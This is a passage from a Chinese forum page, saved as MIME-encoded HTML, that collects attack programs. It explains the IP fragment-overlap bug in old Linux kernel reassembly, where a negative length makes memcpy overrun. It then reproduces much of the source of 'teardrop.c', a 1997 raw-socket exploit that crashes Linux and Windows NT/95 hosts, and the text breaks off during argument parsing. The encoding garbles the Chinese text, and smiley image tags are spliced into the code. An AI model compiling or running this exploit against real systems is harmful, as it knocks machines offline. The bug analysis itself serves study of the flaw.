📄 常用攻击程序.mht
字号:
=20
error_to_big;<BR> =
=20
=20
}<BR> =
=20
memcpy((ptr + =
fp->offset),=20
fp->ptr, fp->len);<BR> =20
=
count +=3D=20
fp->len;<BR> =20
fp =3D=20
fp->next;<BR> =20
}<BR> =
=20
=20
=
=D5=E2=C0=EF=D6=BB=BC=EC=B2=E9=C1=CB=B3=A4=B6=C8=B9=FD=B4=F3=B5=C4=C7=E9=BF=
=F6=A3=AC=B6=F8=C3=BB=D3=D0=BF=BC=C2=C7=B3=A4=B6=C8=B9=FD=D0=A1=B5=C4=C7=E9=
=BF=F6=A3=AC<BR> =20
=C8=E7 fp->len<0 =
=CA=B1=A3=AC=D2=B2=BB=E1=CA=B9=C4=DA=BA=CB=BF=BD=B1=B4=B9=FD=B6=E0=B5=C4=B6=
=AB=CE=F7=A1=A3<BR><BR> =20
=
=
=BC=C6=CB=E3=B7=D6=C6=AC=B5=C4=BD=E1=CA=F8=CE=BB=D6=C3=A3=BA<BR> =
end=20
=3D offset + ntohs(iph->tot_len) - =
ihl;<BR><BR> =20
=
=
=B5=B1=B7=A2=CF=D6=B5=B1=C7=B0=B0=FC=B5=C4=C6=AB=D2=C6=D2=D1=BE=AD=D4=DA=C9=
=CF=D2=BB=B8=F6=B0=FC=B5=C4=D6=D0=BC=E4=CA=B1(=BC=B4=C1=BD=B8=F6=B0=FC=CA=
=C7=D6=D8=B5=FE=B5=C4=A3=A9<BR> =20
=
=CA=C7=D5=E2=D1=F9=B4=A6=C0=ED=B5=C4=A3=BA<BR> =20
if (prev !=3D NULL && =
offset=20
< prev->end)<BR> =20
{<BR> =
=20
i =3D =
prev->end -=20
offset;<BR> =
=20
offset +=3D i; =
/* ptr=20
into datagram */<BR> =
=20
ptr +=3D =
i; =20
/* ptr into fragment data=20
*/<BR> =20
}<BR><BR> =20
/* Fill in the structure. =
*/<BR> =20
fp->offset =3D =
offset;<BR> =20
fp->end =3D end;<BR> =20
fp->len =3D =
end -=20
offset; =
//fp->len=CA=C7=D2=BB=B8=F6=D3=D0=B7=FB=BA=C5=D5=FB=CA=FD<BR> =
=20
<BR> =20
=
=BE=D9=B8=F6=C0=FD=D7=D3=C0=B4=CB=B5=C3=F7=D5=E2=B8=F6=C2=A9=B6=B4=A3=BA<=
BR> =20
=
=B5=DA=D2=BB=B8=F6=CB=E9=C6=AC=A3=BAmf=3D1 offset=3D0 =20
payload=3D20<BR> =
=20
=
=B5=D0=B6=FE=B8=F6=CB=E9=C6=AC=A3=BAmf=3D0 offset=3D10 =20
payload=3D9<BR> =
=20
<BR> =
=20
=
=D5=E2=D1=F9=B5=DA=D2=BB=B8=F6=CB=E9=C6=AC=B5=C4 end=3D0+20=20
<BR> =
=20
=
=20
=
=20
offset=3D0<BR> =
=20
=
=D5=E2=D1=F9=B5=DA=B6=FE=B8=F6=CB=E9=C6=AC=B5=C4=20
end=3D9+10=3D19<BR> =
=20
=
=20
=
=20
=20
=
offset=3Doffset+=A3=A820-offset=A3=A9=3D20<BR> =20
=
=20
=
=20
=20
fp-=A1=B5len=3D19-20=3D-1=A3=BB =
=20
<BR> =
=20
<BR> =
=20
=20
=
=C4=C7=C3=B4memcpy=BD=AB=BF=BD=B1=B4=B9=FD=B6=E0=B5=C4=CA=FD=BE=DD=B5=BC=D6=
=C2=B1=C0=C0=A3=A1=A3<BR><BR> =20
<BR>/*<BR>* Copyright (c) 1997=20
=
route|daemon9 <route@infonexus.com>=20
11.3.97<BR>*<BR>* Linux/NT/95 Overlap =
frag=20
bug exploit<BR>*<BR>* Exploits the=20
overlapping IP fragment bug present in all Linux =
kernels=20
and<BR>* NT 4.0 / Windows 95=20
(others?)<BR>*<BR>* Based off =
of: =20
flip.c by klepto<BR>* Compiles=20
on: Linux, =
*BSD*<BR>*<BR>* gcc=20
-O2 teardrop.c -o teardrop<BR>* =
=20
OR<BR>* gcc -O2 teardrop.c -o =
teardrop=20
=
-DSTRANGE_BSD_BYTE_ORDERING_THING<BR>*/<BR><BR>#include=20
<stdio.h><BR>#include =
<stdlib.h><BR>#include=20
<unistd.h><BR>#include=20
<string.h><BR>#include =
<netdb.h><BR>#include=20
<netinet/in.h><BR>#include=20
<netinet/udp.h><BR>#include=20
<arpa/inet.h><BR>#include=20
<sys/types.h><BR>#include=20
<sys/time.h><BR>#include=20
<sys/socket.h><BR><BR>#ifdef=20
STRANGE_BSD_BYTE_ORDERING_THING<BR> =
=20
=
=20
/* OpenBSD < =
2.1, all=20
FreeBSD and netBSD, BSDi < 3.0 */<BR>#define=20
FIX(n) (n)<BR>#else =
=20
=
=20
/* OpenBSD 2.1, all Linux */<BR>#define=20
=
FIX(n) htons(n)<BR>#endif /*=20
STRANGE_BSD_BYTE_ORDERING_THING =
*/<BR><BR>#define=20
IP_MF 0x2000 /* More IP =
fragment=20
en route */<BR>#define IPH =20
0x14 /* IP header =
size=20
*/<BR>#define UDPH 0x8 =20
/* UDP header size =
*/<BR>#define=20
PADDING 0x1c /* datagram frame =
padding for=20
first packet */<BR>#define MAGIC =
0x3 =20
/* Magic Fragment Constant=20
(tm). Should be 2 or 3 */<BR>#define=20
COUNT 0x1 /* =
Linux=20
dies with 1, NT is more stalwart and =
can<BR> =20
=
=20
*=20
withstand maybe 5 or 10=20
sometimes... Experiment.<BR> =20
=
=20
=20
*/<BR><BR>void usage(u_char *);<BR>u_long=20
name_resolve(u_char *);<BR>u_short =
in_cksum(u_short *,=20
int);<BR>void send_frags(int, u_long, u_long, =
u_short,=20
u_short);<BR><BR>int main(int argc, char=20
**argv)<BR>{<BR> int one =3D 1, =
<BR> =20
=
count =3D=20
0, <BR> =
=20
i, <BR> =
=20
rip_sock;<BR> =20
u_long src_ip =3D 0, dst_ip =3D =
0;<BR> =20
u_short src_prt =3D 0, dst_prt =3D =
0;<BR> =20
struct in_addr addr;<BR><BR> =
fprintf(stderr, "teardrop =20
route|daemon9\n\n"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR><BR> =
=20
//=BD=A8SOCK_RAW<BR> =
if((rip_sock =3D=20
socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <=20
0)<BR> {<BR> =20
perror("raw socket"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR> =
=20
exit(1);<BR> =
}<BR> =20
=
//=D3=C9=CF=B5=CD=B3=B4=A6=C0=EDIP=D0=A3=D1=E9=BA=CD=A1=A3<BR> =
if=20
(setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, =
(char=20
*)&one, sizeof(one))<BR> =20
< 0)<BR> =
{<BR> =20
=
perror("IP_HDRINCL"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR> =
=20
exit(1);<BR> =20
}<BR><BR> if (argc < 3)=20
usage(argv[0]);<BR> if (!(src_ip =
=3D=20
name_resolve(argv[1])) || !(dst_ip =3D=20
name_resolve(argv[2])))<BR> =
{<BR> =20
fprintf(stderr, =
"What the=20
hell kind of IP address is that?\n"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR> =
=20
exit(1);<BR> =20
}<BR><BR> while ((i =3D =
getopt(argc, argv,=20
"s:t:n:"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>) !=3D =
EOF)<BR> =20
{<BR> =
switch=20
(i)<BR> =
{<BR> =20
=
case=20
's': =
=20
/* source port (should be =
emphemeral)=20
*/<BR> =
=20
src_prt =3D=20
(u_short)atoi(optarg);<BR> =20
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